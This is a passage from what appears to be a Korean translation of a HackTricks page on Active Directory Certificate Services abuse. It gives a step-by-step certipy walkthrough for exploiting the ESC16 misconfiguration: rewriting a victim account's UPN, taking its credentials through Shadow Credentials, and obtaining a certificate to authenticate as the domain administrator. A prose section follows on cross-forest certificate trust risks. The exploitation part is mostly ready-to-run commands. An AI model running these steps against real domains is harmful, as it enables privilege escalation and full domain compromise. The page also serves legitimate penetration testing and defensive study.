  2. ์ด ์ธ์ฆ์„œ๋ฅผ ๋ชจ๋“  ๊ณ„์ •์œผ๋กœ ์ธ์ฆํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•˜์—ฌ, ์˜ˆ๋ฅผ ๋“ค์–ด ๋†’์€ ๊ถŒํ•œ์˜ ๊ณ„์ •(์˜ˆ: ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž)์„ ์‚ฌ์นญํ•ฉ๋‹ˆ๋‹ค.

์ž์„ธํ•œ ์›๋ฆฌ๋Š” ๋‹ค์Œ ๊ธ€์„ ์ฐธ์กฐํ•˜์„ธ์š”:https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

์•…์šฉ

๋‹ค์Œ์€ this link๋ฅผ ์ฐธ์กฐํ•œ ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ์‚ฌ์šฉ ๋ฐฉ๋ฒ•์€ ํด๋ฆญํ•˜์—ฌ ํ™•์ธํ•˜์„ธ์š”.

Active Directory Certificate Services (AD CS) ํ™˜๊ฒฝ์ด ESC16์— ์ทจ์•ฝํ•œ์ง€ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋ ค๋ฉด

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

1๋‹จ๊ณ„: ํ”ผํ•ด์ž ๊ณ„์ •์˜ ์ดˆ๊ธฐ UPN์„ ์ฝ๊ธฐ (์„ ํƒ ์‚ฌํ•ญ - ๋ณต์›์„ ์œ„ํ•ด).

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

๋‹จ๊ณ„ 2: ํ”ผํ•ด์ž ๊ณ„์ •์˜ UPN์„ ๋Œ€์ƒ ๊ด€๋ฆฌ์ž ๊ณ„์ •์˜ sAMAccountName์œผ๋กœ ์—…๋ฐ์ดํŠธํ•ฉ๋‹ˆ๋‹ค.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

๋‹จ๊ณ„ 3: (ํ•„์š”ํ•œ ๊ฒฝ์šฐ) โ€œvictimโ€ ๊ณ„์ •์˜ ์ž๊ฒฉ ์ฆ๋ช… ํš๋“(์˜ˆ: Shadow Credentials๋ฅผ ํ†ตํ•ด).

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

Step 4: ESC16-vulnerable CA์—์„œ any suitable client authentication template (์˜ˆ: โ€œUserโ€) ์ค‘ ํ•˜๋‚˜๋ฅผ ์‚ฌ์šฉํ•ด โ€œvictimโ€ ์‚ฌ์šฉ์ž๋กœ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•ฉ๋‹ˆ๋‹ค. CA๊ฐ€ ESC16์— ์ทจ์•ฝํ•˜๋ฏ€๋กœ, ํ…œํ”Œ๋ฆฟ์˜ ํ•ด๋‹น ํ™•์žฅ ์„ค์ •์— ๊ด€๊ณ„์—†์ด ๋ฐœ๊ธ‰๋œ ์ธ์ฆ์„œ์—์„œ SID security extension์„ ์ž๋™์œผ๋กœ ์ƒ๋žตํ•ฉ๋‹ˆ๋‹ค. Kerberos credential cache ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค (์‰˜ ๋ช…๋ น):

export KRB5CCNAME=victim.ccache

๊ทธ๋Ÿฐ ๋‹ค์Œ ์ธ์ฆ์„œ๋ฅผ ์š”์ฒญํ•˜์„ธ์š”:

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

5๋‹จ๊ณ„: โ€œvictimโ€ ๊ณ„์ •์˜ UPN์„ ๋ณต์›ํ•ฉ๋‹ˆ๋‹ค.

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

6๋‹จ๊ณ„: ๋Œ€์ƒ ๊ด€๋ฆฌ์ž๋กœ ์ธ์ฆํ•ฉ๋‹ˆ๋‹ค.

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

Compromising Forests with Certificates Explained in Passive Voice

Breaking of Forest Trusts by Compromised CAs

cross-forest enrollment ๊ตฌ์„ฑ์€ ๋น„๊ต์  ๊ฐ„๋‹จํ•˜๋‹ค. resource forest์˜ root CA certificate๋Š” ๊ด€๋ฆฌ์ž์— ์˜ํ•ด account forests์— ๊ฒŒ์‹œ๋˜๋ฉฐ, resource forest์˜ enterprise CA certificates๋Š” ๊ฐ account forest์˜ NTAuthCertificates ๋ฐ AIA ์ปจํ…Œ์ด๋„ˆ์— ์ถ”๊ฐ€๋œ๋‹ค. ์ด๋ฅผ ์ •๋ฆฌํ•˜๋ฉด, ์ด ๊ตฌ์„ฑ์€ resource forest์˜ CA์— ๊ทธ CA๊ฐ€ ๊ด€๋ฆฌํ•˜๋Š” PKI๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ชจ๋“  ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ์— ๋Œ€ํ•œ ์™„์ „ํ•œ ์ œ์–ด๊ถŒ์„ ๋ถ€์—ฌํ•œ๋‹ค. ๋งŒ์•ฝ ์ด CA๊ฐ€ ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ํƒˆ์ทจ๋œ๋‹ค๋ฉด, resource ๋ฐ account forests ์–‘์ชฝ์˜ ๋ชจ๋“  ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ certificates๊ฐ€ ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์œ„์กฐ๋  ์ˆ˜ ์žˆ์–ด ํฌ๋ฆฌ์ŠคํŠธ์˜ ๋ณด์•ˆ ๊ฒฝ๊ณ„๊ฐ€ ๋ฌด๋„ˆ์ง„๋‹ค.

Enrollment Privileges Granted to Foreign Principals

๋‹ค์ค‘ ํฌ๋ฆฌ์ŠคํŠธ ํ™˜๊ฒฝ์—์„œ๋Š” Enterprise CAs๊ฐ€ publish certificate templates ํ•˜์—ฌ Authenticated Users or foreign principals (ํ•ด๋‹น Enterprise CA๊ฐ€ ์†ํ•œ ํฌ๋ฆฌ์ŠคํŠธ ์™ธ๋ถ€์˜ ์‚ฌ์šฉ์ž/๊ทธ๋ฃน)์—๊ฒŒ enrollment and edit rights๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ์— ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•˜๋‹ค.
์‹ ๋ขฐ๋ฅผ ํ†ตํ•ด ์ธ์ฆ์ด ์ด๋ฃจ์–ด์ง€๋ฉด, AD์— ์˜ํ•ด Authenticated Users SID๊ฐ€ ์‚ฌ์šฉ์ž์˜ token์— ์ถ”๊ฐ€๋œ๋‹ค. ๋”ฐ๋ผ์„œ, ๋„๋ฉ”์ธ์ด Authenticated Users์— ๋Œ€ํ•ด enrollment ๊ถŒํ•œ์„ ํ—ˆ์šฉํ•˜๋Š” template์„ ๊ฐ€์ง„ Enterprise CA๋ฅผ ๋ณด์œ ํ•˜๊ณ  ์žˆ๋‹ค๋ฉด, ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ด๋‹น template์„ enrollmentํ•  ์ˆ˜ ์žˆ๋‹ค. ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ, ์–ด๋–ค template์ด ๋ช…์‹œ์ ์œผ๋กœ foreign principal์—๊ฒŒ enrollment ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋ฉด, cross-forest access-control relationship์ด ์ƒ์„ฑ๋˜์–ด ํ•œ ํฌ๋ฆฌ์ŠคํŠธ์˜ principal์ด ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ์˜ template์— enrollmentํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋œ๋‹ค.

๋‘ ๊ฒฝ์šฐ ๋ชจ๋‘ ํ•œ ํฌ๋ฆฌ์ŠคํŠธ์—์„œ ๋‹ค๋ฅธ ํฌ๋ฆฌ์ŠคํŠธ๋กœ์˜ attack surface๊ฐ€ ์ฆ๊ฐ€ํ•œ๋‹ค. certificate template์˜ ์„ค์ •์€ ๊ณต๊ฒฉ์ž์— ์˜ํ•ด ์•…์šฉ๋˜์–ด ์™ธ๋ถ€ ๋„๋ฉ”์ธ์—์„œ ์ถ”๊ฐ€ ๊ถŒํ•œ์„ ํš๋“ํ•˜๋Š” ๋ฐ ์ด์šฉ๋  ์ˆ˜ ์žˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ